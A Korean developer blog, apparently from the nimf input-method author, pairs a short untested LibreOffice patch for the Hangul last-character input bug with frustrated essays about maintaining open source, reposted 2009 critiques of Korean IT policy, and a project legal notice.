Translate

2018년 9월 4일 화요일

응용 어플 끝글자 버그 잡는 거 진짜 개쉽습니다

그 동안 제가 끝글자 버그를 잡지 않고 방치한 이유


우선 책임, 의무가 없습니다. 제가 해당 어플 개발자도 아닐 뿐더러 오픈소스가 원래가 유지보수 의무, 보증 책임이 없습니다. 이렇게 개떡 같은 게 오픈소스입니다.
전 과거 libhwp 하냐고 시간이 없었고, 지금은 nimf 개발하냐고, 밥 먹고 사냐고 시간이 없습니다. 그리고 제가 겪는 문제가 아닙니다.
컴퓨터가 저사양 노트북입니다. 컴파일 시간이 아마 10시간 정도 걸릴 거에요.
저 시간 없어요. 한가한 사람 아닙니다. 아침 06시 40분 기상해서  집에 오면 22시 30분 정도됩니다. 구라가 아니라 진짜로 컴퓨터 살 돈도 없어요.
nimf 에 GTK, Qt 어플에 있는 끝글자 버그를 무력화시킬 수 있는 옵션이 있습니다.
이 옵션은 마우스 클릭할 때 im 을 리셋하지 않는 버그에만 유용합니다. geany, eclipse 같은 어플에 유용합니다. XIM 어플에 유용하지 않고, preedit 를 draw 하는 부분이 없거나 그 부분에 버그가 있는 어플 krita, inkscape, wine 이런 어플에는 유용하지 않습니다.

끝글자 버그는 초보자도 고칠 수 있는 아주 단순한 버그에요.


입력기에게 일을 시키거나 정보를 주고 받는 API 가 있습니다.

GTK 는 gtk_im_context_*

https://developer.gnome.org/gtk3/stable/GtkIMContext.html

Qt

http://doc.qt.io/qt-5/qinputmethodevent.html
http://doc.qt.io/archives/qt-4.8/qinputcontext.html
http://doc.qt.io/qt-5/eventsandfilters.html

XIM

https://linux.die.net/man/3/xopenim
https://linux.die.net/man/3/xcreateic

등의 함수가 있습니다.

그래서 리브레오피스의 끝글자 버그를 잡으려고 한다면, 리브레오피스 소스코드를 다운받아서 바다처럼 광대한 소스코드량에 놀랄 필요가 없이,
grep 명령어로 XOpenIM, XCreateIC 이러한 함수를 찾으면 입력과 관련된 파일이 어느 것인지 금방 파악할 수 있습니다.
그렇게 작성한 패치입니다.

hodong@debian:~/Downloads/libreoffice-5.2.7.2$ git diff
diff --git a/vcl/unx/generic/app/i18n_ic.cxx b/vcl/unx/generic/app/i18n_ic.cxx
index a67e589..fedf1de 100644
--- a/vcl/unx/generic/app/i18n_ic.cxx
+++ b/vcl/unx/generic/app/i18n_ic.cxx
@@ -618,6 +618,17 @@ SalI18N_InputContext::UnsetICFocus( SalFrame* pFrame )
     }
 }

+void
+SalI18N_InputContext::ResetIC()
+{
+    if ( mbUseable && (maContext != nullptr) && maClientData.pFrame )
+    {
+      char *text;
+      text = Xutf8ResetIC( maContext );
+      free (text);
+    }
+}
+
 // multi byte input method only

 void
diff --git a/vcl/unx/generic/window/salframe.cxx b/vcl/unx/generic/window/salframe.cxx
index 061abbf..50326c1 100644
--- a/vcl/unx/generic/window/salframe.cxx
+++ b/vcl/unx/generic/window/salframe.cxx
@@ -2653,6 +2653,7 @@ long X11SalFrame::HandleMouseEvent( XEvent *pEvent )
         }
         else if( pEvent->type == ButtonPress )
         {
+            mpInputContext->ResetIC();
             // see if the user clicks outside all of the floats
             // if yes release the grab
             bool bInside = false;

코드 몇 줄 되지도 않습니다. 컴퓨터가 저사양 노트북이라 컴파일은 해보지 않아서 작동 여부는 저도 모릅니다. 하지만 이클립스 등 어플에서 마우스 클릭할 때 reset 하지 않아서 발생하는 끝글자 버그는 저러한 방식으로 고치면 됩니다. 언어 문법만 알면 고칠 수 있는 버그입니다.
초보 개발자도 할 수 있는 걸 아무도 고쳐주지 않아 수년 간 방치되고 있는 것이죠.

krita, inkscape, wine  어플은 폰트를 draw 하는 코드가 있습니다. 그 부분에 버그가 있는 것이니 로직 버그를 수정하면 됩니다.
사람들이 끝글자 버그에 대해 엉뚱하게도 저를 탓하여 geany, eclipse, libreoffice 에 발생하는 끝글자 버그를 모두 고치려 했으나, 제 컴퓨터가 저사양 노트북이라 컴파일하는데 아마 10시간 정도 걸릴 거에요. 컴퓨터 구입하려면 또 손실 발생하고 시간 빼앗겨 더 열폭할 거 같아서 여기까지만 하겠습니다.

끝글자 버그가 저렇게 초보 개발자도 고칠 수 있는 아주 단순한 버그에요.
저렇게 단순한 버그가 왜 수 년간 방치되고 있는지 이해를 하지 못하겠습니다.
애초 geany, libreoffice, eclipse 끝글자 버그를 모두 고치려 했으나 컴퓨터 살 돈도 없고 더 하다간 개짜증 나서 돌아가실 것 같아 안 고치고 방치하겠습니다.
저 버그가 몇 년 더 방치되는지 한 번 지켜보겠습니다.
저를 열심히 욕하고 탓하세요!!
제가 nimf 개발 외에는 컴퓨터를 쓸 일이 없어요.
저는 직업이 개발자도 아니고, 오픈소스 개발자도 아닐 뿐더러 그렇게 소개한 적도 없고 오픈소스 관계자도 아닙니다.
오픈소스가 이렇게 개떡같은 거라 컴퓨터 갖다 버리고 앞으로 관심 끄고 살거에요.
사실 컴퓨터 갖다 버리고 관심 끄고 살고 있었어요. 개인 이메일 절대 보내지 마세요.
개인 이메일 보내면 낚여서 개짜증 나서 다시 나타나겠지만...
서로 욕하시고 욕 쳐 드시면서 시작할거라는 거 알고 계세요.
님들끼리 잘 해보세요.

오픈소스고 나발이고 그 딴거 개나 줘버리라고 하세요

이제서야 고백합니다.
kldp 관계자분들께 죄송스런 얘기지만
제가 옛날에 수 년간 안티 활동 격렬하게 했던 사람입니다. 민원에 관공서 직접 방문도 여러 번 했습니다.
우분투 사용자 포럼에서도 hwp, 공인인증서에 대한 안티 활동 열심히 했습니다.
원래가 개발자였던 사람이 아니고, 원래가 일반 사용자였던 사람입니다.
해주는 사람이 아무도 없어서 일반 사용자가 결국에 참다참다 못참아 직접 ruby, C언어를 수년 간 공부하여

2010년 ruby-hwp
2012년 libhwp

어떻게 된 게, 세월이 흐를 수록 한글 입력이 불편해지고 있습니다.

결국 또 폭발하여

2015년 dasom
2016년 dalkom, nimf

이렇게 개발해오고 있습니다.

오픈소스에 대한 환상 libhwp 하면서 산산조각 났고 오픈소스 품질이 하도 개떡같아서 2014년부터 오픈소스 안티로 전향하여 주변 사람들에게 리눅스 쓰지 말라고 전파하고 다닌 답니다.

우리가 당면하고 있는 문제도 10여 년간 해결도 못하면서 무슨 놈의 오픈소스 
오픈소스고 나발이고 그 딴거 개나 줘버리라고 하세요!
제가 원하는 소원은 본인 스스로 모두 성취했습니다.
제가 nimf 개발하는 것은 시간이 남아서 심심해서 하는 게 아닙니다.
해주는 사람이 아무도 없으니까 직접 나선 거에요.
오픈소스 세계는 아주 개떡 같은 세계고 두 번 다시 하고 싶지 않습니다.
nimf 를 마지막으로 두 번 다시 오픈소스 세계에 나타나고 싶지 않습니다.

열심히 제 탓하시고 저를 열심히 욕하세요!



https://kldp.org/node/107443

한국 IT 산업, 독자적 발전인가, 고립인가?

글쓴이: studenes / 작성시간: 화, 2009/07/28 - 2:52오전

* 한글 산업
    워드 프로세서
        HWP 문서의 비호환성

    한글 폰트
        폐쇄적인 라이선스 정책
            윈도우, Mac 전용
            폰트 드라이버를 설치해야만 한다.
                OS와 충돌하여 시스템을 다운시키기도 한다.
                듀얼코어가 지원되지 않을 수 있다. 이는 거짓이 아니다.
                    현재는 듀얼코어 잘 지원해주는가.
                리눅스에서 절대 사용 못하는 라이선스 정책이다.

            IE용 웹폰트
                MS 강국을 만드는데 일조할 것인가.

        유니코드 시대에 부합하는 폰트가 거의 없다.
            11172개의 문자를 포함하고 있는 폰트가 몇 개나 되는지 세어 볼 것.
            옛한글 유니코드 영역은 국 끓여 먹을 것인가?
            한양 PUA만 고집할 것인가?
            국가 사업, 옛문서 전산화가 현재에도 한양 PUA로 작업 중이다.
                후에 유니코드로 변환하려면 이중 지출이 발생한다.

        LCD 시대에 부합하는 폰트가 거의 없다.
            한글이라는 문자가 복잡해서 그렇다고 변명하는 것은 이해를 하겠는데
            한글 폰트 내에 영문을 보면 이해할 수가 없다.

        BOLD체를 제공하는 폰트는 별로 없다.

        table이 잘못되어 있는 폰트가 있다.

        잘못된 부분을 지적해도 웬만해서는 고치지 않는다.

* 인터넷 분야
    독점적인 운영체제 : MS윈도우, MS 익스플로러, 약 99% 점유율
        오로지 액티브X만을 통한 공인인증서 발급.
        이는 MS이외의 타운영체제와 웹브라우저가 성장하는데 큰 장애가 된다.
        DDoS 같은 사태는 또다시 반복된다.
        가짜 백신이 판을 치게 된다.
        악순환이 자꾸 계속 반복된다.

    보안업계는 언제까지 혹세무민 할 것인가?
        한편으로는 액티브X 쓰지 말라고 하면서
        다른 한편으로는 액티브X를 열심히 쓴다.
        안티바이러스 설치 의무화로 보안의식 향상?
            의무화하면 보안의식이 더욱 하락된다.
            말하건대, 안티바이러스는 구세주가 아니다.
            방탄헬멧, 방탄조끼 입었다고 총알 안 맞나.

    다음, 네이버
        robots.txt
        사용자들을 다음과 네이버에 꽁꽁 가두어 놓고 있다.
        검색엔진이 왜 이렇게 잘 검색이 되지 않는 것인가.
        3S 정책을 스스로 만들어 가는 것인가.

* 홈페이지
    실버라이트 문제: 실버라이트가 멀티플랫폼이라고?
        MS가 뒤통수 친 것인가, MS 추종세력이 뒤통수 친 것인가?
        sbs 뉴스
        danawa 상품정보

    은행, 학교, 정부 홈페이지
        MS윈도우 아니면 안된다.
        정부는 국민, 학교는 학생들에게 의무적으로 MS윈도우 카피를 제공해야 하는 것이 아닌지.
        액티브X 원없이 사용할 수 있도록 종속화하여 돈별려고 티사에서 티윈도우 개발하나?

    플래쉬 문제
        한글 코드 언제 utf8로 바꾸어 줄 것인가?

    사전
        utf8은 11172개의 모든 문자가 표현 가능하다.
        IPA 문자도 들어있다. 굳이 그림으로 처리하지 않아도 된다.

    euc-kr, cp949, utf8 혼재
        이제 새로 만드는 홈페이지, 문서, DB들은 utf8로 만들어야 되지 않을까.

* 핸드폰
    다운그레이드 된 모델을 한국에서 더 비싸게 판다고 함.
    반면, 제가격 주고 사면 병신 소리 듣는다.
    mp3 파일을 핸드폰에서 재생할 수 없음에 놀랐다.
    무선인터넷 요금이 저렴하다고들 하는데, 자살하는 사람들이 속출한다.
    아이폰이 수입되지 않는 이유는 이통통신사의 독점적 구조 때문이라고 밝혀졌다.

* IT 정책
인터넷 실명제, 저작권 위반에 대한 3진 아웃제, 사이버 모욕죄
포털의 모니터링 의무화에 대한 입법 추진
안티바이러스 프로그램 설치 의무화 고려
반대하는 사람도 많고 찬성하는 사람도 많다.

* 한국 IT 산업은 이제 독자적으로 나아가기로 결심했는가?
티맥스 윈도우 개발?
삼성 CPU 개발했다고 기사 떴다.


IT 뿐만이 아닐 것이다.
정치, 종교 또한 마찬가지이다. 독자적으로 나아가고 있다.

과연 독자적인 행보일까, 고립화되어 가는 것은 아닐까.


---------------------
정치, 경제, 사회, 문화, 종교, IT 정책, 보안, 건설, 역사에 대해 관심을 갖게 해주고
나도 대통령이 될 수 있다는 희망을 준
이명박 대통령 각하께 진심으로 감사한다.


https://kldp.org/node/111434

새해 소원입니다.

글쓴이: 불편한웹 / 작성시간: 수, 2009/12/30 - 11:35오후

1. 금융권, 공공기관, 교육기관 홈페이지

1-0 개념 탑재할 것.
1-1 사용자 브라우저 차별하지 말 것.
1-2 보안 접속을 액티브X에 의존하지 말고 HTTPS 로 구현할 것.
1-3 리눅스 사용자에게 키보드 보안 프로그램 강요하지 말 것
1-4 금칙어 검출 액티브X 프로그램(검열 프로그램) 설치를 강요하지 말 것

2. 한글 관련

2-1 공공기관에서 문서를, hwp 외 정보 접근과 이용에 불편이 없는 다른 문서 포맷으로도 제공할 것.(수정했습니다.)
2-2 유니코드 옛한글 폰트 출시하여 아래 2-3의 작업을 할 것.
2-3 국가와 폰트업계는 옛한글 문서를 PUA 방식으로 디지털화하지 말 것. 유니코드 폰트를 사용하여 유니코드로 디지털화할 것.

3. 웹 개발자

3-0 웹 사이트 사용자의 의견을 무시하지 말 것
3-1 자기들끼리 만들고 놓고 잘만들었다고 북치고 장구치지 말 것.
3-2 자기들끼리 웹표준,웹접근성 우수상 주지 말 것.

컴퓨터를 이용하면서 가장 힘들고 불편한 점들이 개선되기를 새해 소원으로 빕니다.

2018년 9월 3일 월요일

꿈의 입력기 nimf 이야기 23화 - 제가 오픈소스를 바라보는 시각

제가 원래 개발자가 아니라 원래가 일반 사용자였습니다.과거 MS윈도우 품질이 개떡같아서 유닉스 사용하다가 유닉스가 비싸고 망해서 리눅스를 사용하고 있는 거고 리눅스 품질이 지금은 우수하지만 예전에는 문제가 진짜 많았죠. 그렇게 리눅스를 지금까지 사용해오고 있습니다.

그런데 리눅스에서 hwp, 공인인증서, 한글 문제 참 개짜증납니다.
그래서 공인인증서, hwp 안티 활동 많이 했고,
공인인증서 플러그인에 대한 취약점을 오픈웹 쪽에 제공했고,
리눅스에 키보드 보안 프로그램 설치하는게, 정신나간 발상이라 생각하여
아마 2009년쯤 랜덤 스크린 키보드 아이디어를 오픈웹쪽에 제공하여
아마 2010년쯤 랜덤 스크린 키보드 방식이 인터넷 뱅킹에 먼저 적용되었고,
수년 전부터 현금 인출기에서도 널리 사용되고 있습니다.
랜덤 스크린 키보드 방식을 제가 제일 먼저 생각해냈는지 아닌지는 저도 모릅니다.

그러면서 항상 드는 생각이 개발자들은 뭐하고 이런 걸 내가 하냐는 피해 의식.
hwp 도 마찬가지입니다.
그 당시 C언어를 몰랐습니다. 믿으시겠습니까?
그래서 2010년에 ruby 언어로 ruby-hwp 로 만들다가
아마 2012년 쯤, C언어를 몰라서 vala 언어로 libhwp 를 개발하기 시작했습니다.
https://gitlab.com/hodong/libhwp/commit/50907b4a6e0678a2979f98af3c38f18ce3b4e021
구라 같죠? ㅋㅋㅋ C언어를 차츰 공부하면서 C언어로 만들어갔습니다.
그렇게 C언어를 공부하기 시작했습니다.

당시에도 한글 입력 문제가 있었습니다.
libhwp 개발 때문에 시간이 없어서 손을 못데고 있다가,
libhwp 개발을 중단하고 시간이 확보되어,
한글 타자 연습 프로그램이 있었으면 좋겠다는 생각에
새로 만들기보단 klavaro 프로젝트에 한국어 지원을 하였고,
2014년 끝글자 버그 문제 때문에 도저히 못참아 개짜증나서 리눅스 갖다버리고 MS 윈도 사용하려고 하다가 끝글자 문제를 해결하고자 dasom 을 개발하고 그걸 포크하여 nimf 에 이르고 있습니다. libhwp 그만둘 당시 두 번 다시 오픈소스 안 한다고 했었는데, 또 다시 나타난 이유가 그렇습니다.
아무도 해결해 주는 사람이 없습니다. 일반 사용자가 얼마나 빡쳤으면 컴퓨터 공부해서 개발하고 이러고 있을까요?


그동안 블로그, SNS, 저장소 생성 삭제, 아이디 생성 삭제 수십 번 한 거 같습니다.
오해하시는 분들이 많으신데 기분 나빠서 삭제하는 게 아니라, 저는 성격이 필요없으면 삭제하는 성격입니다.
지마켓 사용하다가 11번가로 갈아타면 지마켓 아이디 삭제하고,
인스타그램도 사용하다가 필요없으면 아이디 삭제하고 뭐 그런거에요.
제가 사람들에게 알려지기 전부터 프로젝트, 블로그 생성/삭제 엄청 많이 했습니다.
워드프레스 블로그, 구글 사이트 블로그, 블로거, geekforum, joomla, drupal, jekyll, hugo 등 수십 번 블로그를 생성, 삭제를 했지요.
트위터 계정도 수십 번 생성 삭제를 했고, 카카오톡, 페이스북도 마찬가지고..
SNS 등 온라인 활동에 큰 의미를 두지 않습니다. 원래 이런 걸 하지 않았습니다.
컴퓨터도 수개월 사용하다가 필요 없으면 팔고, 수개월에서 수년 후 다시 필요하면 다시 구입하는 등 원래 성격이 그렇습니다.
현재 블로그도 삭제하고 갈아업고 싶은데, 뉴스기사 링크되어 있어서 그거 삭제하면 욕 대박 얻어먹을거 같아서 그러지 못할 뿐이죠.
그리고 github 사용하다가 bitbucket 으로 갈아타면 github 계정을 삭제하고,
bitbucket 에서 gitlab 으로 갈아타면 bitbucket 계정 삭제하고..
은행 계좌도 마찬가지입니다. 갈아타면 기존에 있던거 모조리 삭제합니다.

신경 쓰는거 딱 질색이라 원래 성격이 그래요.

ruby-hwp, libhwp 이거는 개인 프로젝트입니다.
과거에 libhwp 가 널리 알려져서 이게 단체 프로젝트로 오해하고 계신 분들도 많으시던데,
개인 프로젝트입니다. 당시 기여자분이 1분 계셨던 것 같은데 컴파일 속도 개선에 대한 기여였고 비중이 낮았습니다.
메일링 리스트 삭제는 욕을 먹을 만한 부분이고 그거는 제 잘못이라 인정합니다.
개인 프로젝트가 그거 말고도 폰트, 사전, 형태소 분석기 이런 게 있었고 모두 삭제했습니다.

그러면 dasom 으로 넘어와서 볼 때, dasom 초기는 완전한 개인 프로젝트였습니다.
dasom 저장소를 삭제했다고 오해하시는 분들도 계시는 것 같은데,
맨 처음에 github.com/cogniti/dasom 이게 주소였습니다.
제 성격상 스스로가 다 망가뜨리고 파괴할 것 같아서
dasom-im 그룹을 만들고 거기로 옮겨놓은 후 github.com/cogniti/dasom 저장소를 삭제했지요. 은행 계좌도 안 쓰면 삭제합니다. 원래 성격이 그래요.

그리고 머리 아프고 피곤한거 딱 질색하는 사람이라 직업이 개발이 아닙니다.
프로젝트 하면서 개발 능력이 향상되는데 그게 본업에 도움이 전혀 되지 않습니다.
github.com/cogniti/nimf 저장소 삭제한 거는 nimf 가 오픈소스가 아니다는 것에 대한 항의 차원에서 그런 거에요.
nimf 저장소 삭제하고, 소스코드와 이슈 내용을 블로그에 다운 받을 수 있도록 했을 때,
이것도 오픈소스다. 폐쇄 소스라면 소스코드를 어떻게 다운받냐 이렇게 항의한 거죠.
기분 나뻐서 삭제한 게 아닙니다.
nimf 를 사용 못 하도록 할 목적이 아니였기 때문에 현재는 gitlab 에서 호스팅하고 있습니다.
그러다 나중에 gitlab 보다 더 좋은 호스팅 업체가 있다면 당연히 거기로 옮겨갈 거고,
옮긴 후 gitlab 을 삭제하겠죠. 만약 그럴 계획이 있다면 공지가 있을 겁니다.

그리고 이제 본론이 시작되는데,
2016년 nimf 이슈 게시판을 폐쇄한 적이 있습니다. 시간 손실이 커서 개발에 방해되었기 때문입니다. 대다수의 이슈는 저 좋으라고 하는게 아니라 자기들 좋으려고 하는거죠.
이렇게 얘기하면 싸가지 없다고 백만 안티 양성될 것 같은데...ㅎㅎ
어쨌든 저는 하고 싶은 말을 안 하면 속병이 생기기 때문에 합니다.
코드 기여는 얘기가 다른데 코드 검토하려면 시간이 또 소비되겠죠.
그래서 또 짜증나고. 왜냐면 그만큼 잠을 못 자게 되고 너무 피곤하면 회사 쉬어야 합니다.
당연히 벌 수 있는 돈을 못 벌면 그게 손실이 아니면 뭡니까.

저는 오픈소스를 할 형편이 안 됩니다.
오픈소스 관련 협회, 모임, 회사에서 참석해달라고 연락이 10여 건 온 적이 있는데,
밥 먹고 사냐고 바쁘고 남는 시간에 개발하냐고 시간 없어 모두 거부했습니다.
그랬더니 서운하시다고 하시더군요.
그런데 제 입장에서는

아니 어떻게 libhwp, nimf 를 무상으로 제공하는데
내 개인 시간까지 님들한테 제공해야 하냐. 내 개인 시간까지 오픈소스로 풀어야 하냐.
님들은 시간이 남아 돌아 모임도 개최하고 참석도 하는데 난 그럴 시간 자체가 아예 없다.
참 팔자 좋은 사람들아.


저는 딱 이 정도 밖에 생각하지 못하는 그릇입니다.
게다가 nimf 가 debian 저장소 이런 데 탑재되면 사용자수 늘어나서 피곤할텐데...
nimf PPA 만들면 사용자수 늘어나서 피곤할텐데...
잠깐이지만 제가 nimf 안티 활동을 하기도 했습니다.
지금은 nimf 안티 활동을 하지 않습니다.
제 성격상 불특정 다수를 상대해야 하는 오픈소스 프로젝트 이런 거 하면 진짜 스트레스 엄청 많이 받습니다. 본인 스스로 생각해봐도 오픈소스를 할 그릇이 못 되는 것 같습니다.

그러면 안 하면 되지 왜 하냐고 묻는 분들 계실 겁니다.
제가 아무 것도 안 하고 손 놓고 있었으면,
리눅스에 아직까지도 키보드 보안 프로그램 설치를 강요당하고 있었을지도 모르고,
libhwp 는 지금까지도 없었을 것이고,
klavaro 한글 타자 지원도 없었을 것이고,
끝글자 버그 없는 다국어 입력기 프레임워크도 없었을 것입니다.
이제 곧 리브레오피스, geany, 이클립스의 끝글자 버그를 해결하려고 하는데,
10여년간 지속된 끝글자 버그를 해결해주는 사람도 없었을 것입니다.
이쯤되면 제가 하고 싶은 말이 뭔지 아시겠습니까?
그래 니 잘났다.. 
열심히 욕해 주세요.

제가 libhwp 할 동안 님들 뭐하셨습니까?
제가 libhwp 할 동안 끝글자 버그 없는 다국어 프레임워크 좀 만들어주실 수 없었냐고요?
제가 dasom, nimf 할 동안 응용 어플 끝글자 버그 해결하지 않고 뭐하시고 계셨습니까?
C언어 몰라서요? 번역하냐고 바쁘셨다고요? 생업, 학업에 바쁘셨다고요?
그러면 저는 돈과 시간이 남아돌아 수년간 공부하여 개발하고 이러고 있습니까?
제가 libhwp 를 지금까지도 계속 해왔다면 nimf 는 없었을 것입니다.
2010년에 nimf 를 시작했다면 libhwp 는 없었겠죠.

제가 libhwp, dasom, nimf 할 동안 님들은 어디서 뭐하시다가 이제 나타나셔서 저를 탓하고 왈가불가하냐고요...
열폭하시는 분들 많으실텐데 저를 열심히 욕하세요. 욕먹을 만합니다.
기분 나뻐서 욕하시는거 법에 저촉도 안 되고, 먹고 살기 바뻐서 제가 법적으로 어떻게 하지 못해요. 그리고 온라인 생활, 오프라인 생활이 완전히 구분되어 있어서 온라인에서 열심히 욕먹어도,제 현실 생활에 영향을 끼치지 못합니다. 명예 때문에 오픈소스 하는 거 하는거 아니니 열심히 욕해 주세요. 저는 단지 욕먹는게 싫을 뿐, 이미지로 밥먹고 사는 사람이 아니니 명예 훼손되어도 상관없습니다.

제가 개발을 할 여건이 되지 않고, 오픈소스 프로젝트할 그릇도 못 되고 그럴 인격도 못되요.
스트레스 받아서 지인들한테 얘기하면 너 미쳤다고 지인들도 하지 말라고 말려요.
찌질하게 살지 말고 니 앞가림이나 잘 하라고 그런거 왜 하냐고.
내가 리눅스를 왜 사용해서 이 고생일까.. 그냥 MS윈도 사용했더라면 큰 불편없이 살아왔을텐데.. 이런 생각이 많이 든답니다. 리눅스 사용하면서 버린 시간에 일을 했으면 지금보다 먹고 살기 괜찮았을텐데..

오픈소스면 수정 배포 가능하지 않는가, 스스로 해결하면 될 걸, 아니 그걸 왜 나한테 해달라고 하냐고?
저는 딱 이 정도 밖에 생각하지 못하는 것 같아요.
오픈소스할 인간이 못 되는 거죠. 제 스스로도 알아요.

10여 년간 한글 문제 해결도 못하고 있는데
오픈소스 이 딴거 개나 줘버리라고 하세요.
누가 누구한테 왈가불가야!
오픈소스 개발자님, 관계자님들
니나 잘 하세요. 참 잘나셨습니다.

저는 오픈소스에 대해 이렇게 생각하는 사람입니다.

저를 믿고 따라와 주신 분들, 지지자 분들, 기여자분들께 참 죄송하다는 말씀을 드립니다.
제가 이런 인간입니다.
오해는 말아주세요. 프로젝트 포기, 방치, 중단, 저장소 삭제 이런 거 아닙니다.
저는 사실 욕먹어도 쌉니다. 많이 많이 욕해주세요.
그리고 사실 저는 오픈소스에 낚인 거 지금도 엄청 후회하고 있습니다.
여러분들은 제가 하는 프로젝트 이런 거에 낚이지 마시고 본업에 충실하세요.
말을 너무 막해서 죄송하고, 원래 성격이 그런데 연기하거나 참으면 병 되요.
너무 제 입장만 생각하는거 저도 알아요.
기분 많이 상하셨을텐데, 알고 보니 저 인간 개또라이네..
참으면 병 되요. 열심히 욕 해주세요.
긴 글 읽어주셔서 감사드리고, 별 내용도 없는 피해의식에 가득 찬 글인데, 시간을 빼앗아서 죄송합니다.
학생 분들은 학업에 열중해 주시고, 상처 받으신 젊으신 분들도 계실텐데,
거듭 죄송하다는 말씀을 드립니다.
스트레스 받아도 어디 말할데도 없고. 이렇게 스트레스를 풀어서 죄송하네요.
제가 일반 사용자 출신이다보니,
리눅스 사용하면서 소프트웨어 품질 때문에 개빡친 적 엄청 많아서
님들은 nimf 사용하시면서 빡치지 말라고 품질 관리는 열심히 하고 있습니다.
저는 그것으로 만족하렵니다.
감사합니다.

2018년 8월 31일 금요일

꿈의 입력기 nimf 이야기 22화 - GTK, Qt 끝글자 버그에 대한 무력화 옵션

마우스 클릭했을 때 im 이 리셋이 되지 않아 끝글자 버그가 있는 어플이 있습니다.
GTK, Qt 어플에서 마우스 클릭할 때 im 을 리셋하지 않아 생기는 끝글자 버그를 무력화 시킬 수 있는 Reset when clicking the mouse button 옵션이 있습니다.


그림에 보이는 옵션을 ON 해주면 마우스 클릭할 때 reset 해줍니다.
geany 에 있는 끝글자 버그는 이렇게 해결할 수 있습니다.

꿈의 입력기 nimf 이야기 21화 - 프로젝트 운영을 상식적으로 하겠습니다

안녕하세요.
현재의 nimf 프로젝트는 개인 프로젝트의 성격이 강하지만
그렇다고 해서 완전한 개인 프로젝트도 아닙니다.
그동안 제가 침소봉대, 경거망동했습니다.
자꾸 이랬다 저랬다해서 죄송합니다.
최근 커밋에 경고문으로 거북하게 해서 죄송합니다.
본인도 거북했는데 사용자분들도 당연히 거북하겠죠.
제 스스로가 nimf 에 대해 안티짓을 했는데 기여자분들은 갑자기 멘붕 왔겠죠.
변명은 아니고 참 바쁘게 살아와서 삶의 여유가 없어 피해의식에 사로잡혔던 같습니다.
경고 메시지 등을 없애 2018.08.22 버전의 내용으로 원상 복구 해놓겠습니다.
휴식을 취하며 제 자신을 돌아보겠습니다.

2018년 8월 29일 수요일

꿈의 입력기 nimf 이야기 20화 - 시간은 저를 기다려주지 않습니다

여유가 없는 삶


밥먹고 살기도 바쁜데 입력기까지 신경쓰냐고 사는게 정말 힘듭니다.
출근 때문에 아침 06시 40분 쯤 기상, 퇴근하고 집에 오면 밤 22시 정도.
이슈라도 올라오면 거기 답변해 드리느냐고 잠을 01시~03시쯤 잡니다.
허위 사실 유포로 인한 명예 훼손 문제 때문에 어떻게 대처를 할까 고민하며 최근 일주일 간 약 2~3시간 자면서 생활했습니다. 과장이 아니라 시간이 진짜 없기 때문에 개발 및 유지보수를 하려면 회사를 쉬어야 합니다.
당연히 벌 수 있는데 못 버는 돈. 손실은 그렇게 발생합니다.
그게 연간 500만원에서 1000만원 정도.
발생된 손실을 메우기 위해 쉬지 않고 일하는 악순환이 반복되고 있습니다.
2015년부터 지금까지 잠을 제대로 못자고 있습니다.
건강에 당연히 문제가 생기고 탈모도 생겼습니다.
벌써 노안이 왔는지 눈도 침침하고.

이슈에 대한 답변이 늦어지고 처리가 지연될 예정입니다


현재 열려있는 이슈들은 품질 향상 관련 이슈와 HiDPI, 멀티 모니터 관련 이슈입니다.
과장이 아니라 현재의 nimf 는 품질 및 완성도가 굉장히 높아서 마땅히 개발 및 유지보수할 것도 없습니다. 베트남 입력 엔진이며 그외 언어 입력 엔진 개발, 문서 작성을 제외하고는 말이죠.
이슈가 올라오거나 답변이 달리면 이메일로 알림이 오도록 설정해 놓았었는데 알림을 모두 껐습니다. 따라서 이슈가 올라오거나 답변이 달리더라도 바로 확인하지 못합니다. 언제까지 알림을 꺼둘지는 모르겠으나 저도 남들처럼 앞으로는 제가 시간날 때 확인하도록 하겠으며 가급적 손해가 발생하지 않는 시간에 처리하도록 하겠습니다.

이슈에 대한 답변이 늦고 처리가 지연되더라도
* 독촉 메일 보내지 마시고
* 프로젝트가 중단되었다고 허위 사실을 유포하지 마시고
* 개발 또는 유지보수가 중단되었다고 허위 사실을 유포하지 마시고
* 개발자를 욕하거나(비난하거나)
* 개발자를 욕보이거나(음해하거나)
* 개발자를 탓하며 원망하는 등
이런 일 없었으면 좋겠습니다.
좀 쉬다가 인터넷 봤을 때 허위사실, 음해, 비난, 원망글 보면 제 기분이 어떻겠습니까?
제가 로보트가 아니고 감정이 있고 밥먹고 사는 사람입니다.
타 프로젝트에는 안 그러시는 거 저도 압니다.
그만큼 저에게 기대가 커서 그러시겠죠.

법적 고지와 면책 조항을 넣었습니다


신경 끄고 푹 쉬고 싶어서 법적 고지와 면책 조항을 좀 강력하게 넣었습니다.
2018.08.28 버전부터 거의 모든 파일에

# 법적 고지

Nimf 소프트웨어는 대한민국 저작권법과 국제 조약의 보호를 받습니다.
Nimf 개발자는 대한민국 법률의 보호를 받습니다.
커뮤니티의 위력을 이용하여 개발자의 시간과 노동력을 약탈하려는 행위를 금하시기 바랍니다.

* 커뮤니티 게시판에 개발자를 욕(비난)하거나
* 욕보이는(음해하는) 글을 작성하거나
* 허위 사실을 공표하거나
* 명예를 훼손하는

등의 행위는 정보통신망 이용촉진 및 정보보호 등에 관한 법률의 제재를 받습니다.

# 면책 조항

Nimf 는 무료로 배포되는 오픈소스 소프트웨어입니다.
Nimf 개발자는 개발 및 유지보수에 대해 어떠한 의무도 없고 어떠한 책임도 없습니다.
어떠한 경우에도 보증하지 않습니다. 도덕적 보증 책임도 없고, 도의적 보증 책임도 없습니다.
Nimf 개발자는 리브레오피스, 이클립스 등 귀하가 사용하시는 소프트웨어의 버그를 해결해야 할 의무가 없습니다.
Nimf 개발자는 귀하가 사용하시는 배포판에 대해 기술 지원을 해드려야 할 의무가 없습니다.

이런 내용을 한글(한국어)로 넣었습니다.
사실 이런 내용이 간결하게 이미 영어로 들어가 있습니다.

Nimf is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version.

Nimf is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details.

구글 번역기로 번역해 보면

Nimf는 자유 소프트웨어입니다. 자유 소프트웨어 재단 (Free Software Foundation)이 발행 한 GNU 약소 일반 공중 사용 허가서 (버전 3 라이센스 또는 귀하의 선택에 따라)를 기준으로 이후 버전을 재배포 및 / 또는 수정할 수 있습니다.

